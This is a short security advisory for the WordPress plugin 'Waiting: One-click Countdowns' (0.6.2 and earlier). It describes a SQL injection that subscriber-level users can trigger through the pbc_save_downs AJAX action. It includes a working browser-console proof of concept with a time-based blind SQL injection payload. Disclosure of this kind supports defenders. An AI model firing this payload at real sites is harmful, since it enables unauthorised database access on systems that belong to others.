Waiting: One-click Countdowns <= 0.6.2 - Subscriber+ SQLi

The plugin does not properly sanitise and escape the pbc_down[meta][id] parameter before using it in a SQL statement via the pbc_save_downs AJAX action, leading to a SQL injection exploitable by any authenticated users, such as subscriber

PoC

Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=pbc_save_downs&pbc;_down[meta][id]=1+OR+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)–’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));